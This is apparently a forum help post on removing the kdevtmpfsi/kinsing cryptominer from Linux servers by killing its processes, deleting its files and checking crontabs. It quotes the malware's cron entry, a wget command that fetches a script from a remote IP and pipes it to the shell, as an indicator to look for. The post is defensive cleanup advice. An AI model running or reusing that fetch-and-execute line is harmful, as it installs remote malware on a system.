This process is a mining program.
If you see your CPU usage is 100% and the process is kdevtmpfsi, probably you have infected.
kdevtmpfsi has a daemon process, killing the kdevtmpfsi process alone won't help. The name of the daemon is kinsing, and it needs to be killed alone with its cronjob.
Follow these steps to solve it.
Step 1: Find the process ids of kdevtmpfsi and kinsing, and kill them both using
kill -9 [PID]
Step 2: Delete two files using
rm -rf kdevtmpfsi & rm -rf kinsing (located at /var/tmp/ and /tmp/)
- Remember to delete the files of this daemon, if you can't find it, you can also use this command to find them
find / -name kdevtmpfsi
find / -name kinsing
Last Step: Check
/var/spool/cron/crontabs/ to see if any related Trojan timed tasks are being executed (
www-data). If yes, delete them and restart crontab. probably it looks like this
* * * * * wget -q -O-http://188.8.131.52/unk.sh | sh> / dev / null 2> & 1
Hope this helps someone. Cheers !!!